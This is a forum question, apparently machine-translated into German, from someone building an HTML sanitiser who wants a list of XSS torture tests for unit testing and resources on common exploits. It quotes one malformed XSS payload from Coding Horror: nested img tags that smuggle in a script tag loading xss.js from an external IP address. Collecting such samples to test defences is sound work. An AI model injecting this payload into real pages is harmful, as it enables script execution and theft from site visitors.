Ich bin auf der Suche nach einem HTML-Sanitiser zu schreiben, und natürlich zu testen/beweisen, dass es richtig funktioniert, brauche ich eine Reihe von XSS-Beispiele, um gegen sie zu sehen, wie es führt zu werfen. Hier ist ein schönes Beispiel aus Coding Horror
<img src=""http://www.a.com/a.jpg<script type=text/javascript
src="http://1.2.3.4:81/xss.js">" /><<img
src=""http://www.a.com/a.jpg</script>"
Ich weiß, es gibt eine Mime-Folter-Test die aus mehreren verschachtelten E-Mails mit Anhängen besteht, die zum Testen von Mime-Dekodierern verwendet werden (wenn sie sie richtig dekodieren können, dann haben sie sich als funktionierend erwiesen). Ich bin im Grunde auf der Suche nach einem Äquivalent für XSS, d.h. einer Liste von Beispielen für fragwürdiges HTML, die ich meinem Sanitiser vorwerfen kann, um sicherzustellen, dass er gut funktioniert.
Wenn jemand auch gute Ressourcen hat, wie man den Sanitiser schreibt (z.B. welche gängigen Exploits die Leute versuchen zu benutzen, usw.), wären wir auch dankbar dafür.
Vielen Dank im Voraus :-)
Bearbeiten: Sorry, wenn dies nicht klar war, bevor, aber ich war nach einer Reihe von Folter-Tests, so dass ich Unit-Tests für die Sanitiser schreiben kann, nicht testen Sie es im Browser, etc. Die Quelldaten können theoretisch von überall her kommen - nicht nur von einem Browser.